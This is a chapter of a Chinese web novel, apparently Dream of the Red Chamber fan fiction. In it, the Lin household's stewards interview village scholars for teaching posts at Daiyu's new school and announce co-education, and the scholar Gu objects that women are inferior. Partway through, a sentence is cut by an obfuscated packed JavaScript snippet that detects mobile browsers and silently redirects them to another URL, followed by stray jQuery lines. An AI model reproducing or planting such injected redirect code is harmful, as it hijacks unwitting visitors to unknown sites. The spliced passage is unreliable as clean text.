听了秦管家这番感慨,季掌柜将手里的图纸折好,呵呵笑道:“小秦也不必如此自贬,他们年轻的孩子是有本事,可你却忘了你自己年轻的时候,那时你的长辈们恐怕也是这样看你的。人呀,便是这样,虽没有通天彻地之能,生也有‘病、老、死’之苦,但却能耕耘不辍,一代比一代强,传承进步,才能世代兴旺。”
秦管家由此话想来,果然是这样,不觉点头道:“到底是季掌柜,几句话就说得人豁然开朗,叫我心里发热,立时也想出去做事业呢。”
又聊了几句,秦管家想起方才说遇见那奇怪少年的事,便问:“这一回您上里头去,都还顺利罢?”
季掌柜笑道:“真也有趣,不单我过了一回戏瘾,连我那朗月孩儿都玩得尽兴。此事虽是莽撞,却也算全了我的心愿。说来惭愧,那虽是林姑娘的外祖家,我却总有不放心之处,总把人想得坏了,我总是要亲眼进去看看才安心,如今看见林姑娘在那家里好,我心里也畅快,总算不负故友之谊。”
季掌柜是京城人氏,据他只言片语介绍,早年林如海在京时,两人曾有一段相交,秦管家等人虽不知是何等样的交情,但看季掌柜对林家的事如此不计辛苦、不图报酬,想也是过命的交情了,而今林如海逍遥入道、杳无音讯,季掌柜仍能坚守旧时情谊、帮扶黛玉,实在是难能可贵,且他又为人老成敦厚、低调不肯居功,是而林家诸位管家、掌柜都对他非常尊敬。
秦管家眺望着远方迤逦的山峦,道:“老爷和夫人对小姐爱如珍宝,一定在暗中护佑,他们若知小姐有今日之不凡,必然也是极欣慰的。”
她将目光收回来,在远处季掌柜所划学堂取址的地块上看了看,将簿子重又翻开,往后找了找,指着一处道:“小姐对于学堂的设想也有很多,喏,从这一页,到后面,足足贴了有六页呢,若要都落实了,还得仔细斟酌着来办,不可会错了意了。唔,这里还有小姐写的‘教学大纲’,前面我读过,真是极好的,只是不大容易,要几个很像样的先生辅佐才好实施。小姐说得对,教书育人是要紧的事,绝不可‘滥竽充数’,要细细筛选才是。”
秦管家等人商议一回,都同意先生之人选乃是重中之重,为了早储人才,此时学堂虽还在建设中,却已预先放出风去,告诉乡里远近,只说新学堂要招募授课先生,一经录用、待遇从厚。
周边乡民听说这边新起学堂,都觉稀罕,其中有一二读过书的,听见说待遇好,便想来谋事。也有乡里闻名的读书人,左右都推举他来试试。
只要有人上门投问,林家人都以礼相待,仔细登记了应征之人的信息,发给一枚木制号牌,叫先回家等候消息,待报名结束后,再行统一面试,成与不成,需得那时再定。
此番操作也算是闻所未闻了,又有已报名的人向外传说那家果然行事不凡,上下人等衣着光鲜、谈吐有礼,绝非寻常人家,想来那“待遇从厚”的话,应是不虚的。
一传十、十传百,一时远近有意的人都来报名。
其中有一位胡子干枯、垂垂老矣的老先生,煞有介事地走进来,自己带一只名帖儿,腋下夹一个布包儿,里头是几本学童必读的书目,瞧着有些年头了,书页都卷了边。
他将书摊开在桌上,慢慢环视一周,颇骄傲地道:“这里的篇目,你们随便抽两三字来,我便知其出处,又能答出上下句。”说着将手一摊,示意尽管抽问。
旁边有认识他的,都尊称他是古秀才,他虽只考取了秀才,却因熟读经典、治学严谨而享誉乡里,因为年资极深,甚至还是在场许多人幼师的开蒙先生。
一时众人都肃然起敬,以为连古秀才也来应征,以他的学问,此教职必该是十拿九稳的,还有其余人什么事?便想打退堂鼓了,待得听说林家一口气要招募七八位先生,这才留了下来,却忍不住嘀咕,寻常小些的学堂,只有一位先生在堂足矣,又不是办书院,想这远近乡里都是世代的庄稼人,能有多少要附学的孩子,竟要这许多先生,嗐,到底是外乡人,不晓得他们乡里的事情,这么剃头挑子一头热,恐怕也长久不了,先要紧赚它一两期的束脩,后面它自黄它的,不与自己等人相干。
除了这位人人尊敬的古秀才,其他人等也算是人才济济,也有自称善作文章的,有说会作诗的,还有擅对对子的,一时门庭若市,都要来领号牌,季掌柜等人这才知道,原来乡下也是藏龙卧虎,真不愧当今圣上重文重礼,京郊百姓如此重视学问。
最终报名的人数远甚于林家人预估的人数,倒也颇出意料之外,也是一件好事,更利于优中选精,林家人拣了一日邀众人面试,连乡中有名望的人也请了来一同把关。
林家兴修学堂也有利于乡里,耆老都很支持,更何况前期林家买地时也多行联络之事,与乡中名流关系处得极好,所以连保长、甲首并当地有名望的士绅等人物一时都来了。
一时应征者已齐了,林家的面试题目却很简单,并不抽背经典,更不做文章、作诗、对对子,第一题是要让他们讲一讲自己对“教育”的理解,以及阐述自己未来的教育计划。
什么理解?
教书,不就是让学生念熟了、背下来,还要怎么理解?至于这个计划,倒也简单,考试所用的经典到底是有数的,该分几年念熟背会,便是资质不同,也大致有个平均水平,老先生们心里都有数。
听罢众人的陈述,林家人在那里纷纷做着笔记,有眼尖者看见那并非寻常写字用的纸笺,而是雪白的宣纸,上面用墨线弹了许多格子,不知是什么东西。
第二题是让众人谈谈对“体罚”的看法。
什么是体罚?
众人交头接耳一回,堂中嗡嗡声不绝,季掌柜站起身来,为众人解释了此词的含义,众人恍然大悟,原来这个就叫做体罚。
这也不必谈什么看法,谁家先生是不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17017827|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
带戒尺上堂的?人都说“教不严、师之惰”,怎么个“严”法儿,还不就体现在六亲不认的戒尺上头?
尤其是乡里的学塾,满堂都是在地里野惯了的泥狗子,若不是戒尺的威严慑服他们,越发没个规矩了,众人这般想着,便将“看法”一一说了,林家人又按号码记录了一回。
问了这两题后,后面便没下文了,反倒是宣布了一件惊世骇俗的事——
这所学堂落成之后,按照入学时的年龄,将分为学童班和成人班,分开就读,但不论是哪一种班级,都会是男女共读,意即不只招收男学生,女学生也可登记入学,且与男学生同堂而坐、共同学习。
一时全场鸦雀无声。
其余所有事,不论多么不合常理,都还有的商量,毕竟这世上不乏标新立异之徒,但唯独这一件绝对没得商量,女子上学堂?这让老学究们深恶痛绝。
今日所谓的“面试”,不曾考校学问、不曾试作文章也罢了,又拿些怪里怪气的问题来问,可见不是真心要取先生,敢情是拿众人取笑来的。
几位年长些的先生抄着手,痛心道:“胡闹、胡闹!岂不闻‘女子无才便是德’,凡女儿者,皆以贞静顺良、相夫教子为第一等事,在闺中时,责其母教导针黹家事也罢了,叫她们上学堂作甚么!”
厅中林家众人都皱起眉来,季掌柜却处之泰然,笑道:“诸君既有此顾虑,更该叫天下女儿进学堂学一学道理,他日‘相夫教子’之时,岂不更是得心应手起来了?”
古秀才向众人摆摆手,示意大家稍安勿躁,自己则上前一步,吹着胡子、义正词严地道:“非也!须知女子生来不如男子,头发长、见识短,又爱说长道短、搬弄是非,体悟不了圣贤之道理。女子虑事不周,想东西浅近,若贸然让她们去学读写,只会坏了脑筋,到时只管生搬乱用起来,也不顾圣贤体面,满口胡言乱语,不听父兄夫君的教诲,把纲常也乱了!”
此言一出,别人还可,秦管家便觉心中冒火。
今日她列席一事,本就有许多人有微词,为免耽误正事,秦管家自己便说还是退到后堂等结果便好,陶掌柜等人也都赞同,是季掌柜坚持要她出席,她才勉强留下的。到底她是妇人,并非闺秀,否则还不知被来人指点成什么了。
秦管家不欲惹人讨论,本来半低着头认真做着记录,听了古秀才的话,哪里忍耐得住,便想出言讽刺,季掌柜却摆摆手,自己含笑道:“女子‘不如’男子,千百年来却承担纺绩洗涤、煮饭育儿之重任,劳作洒扫、服侍翁姑,教万千男儿免去后顾之忧,这才能让男子放心出外求取功业、扬名立万。单这一份细致之心、忍耐之心,试问异地而处,有哪个男儿能做到仿佛?也试问在座诸位,若无人替你们烹饪洗衣、整理缝补,你们可还有余裕读书否?女子如此辛苦,不说感戴尊重,竟还归咎于‘不如’,到底怎么‘不如’,我却不知道了,还请秀才公赐教。”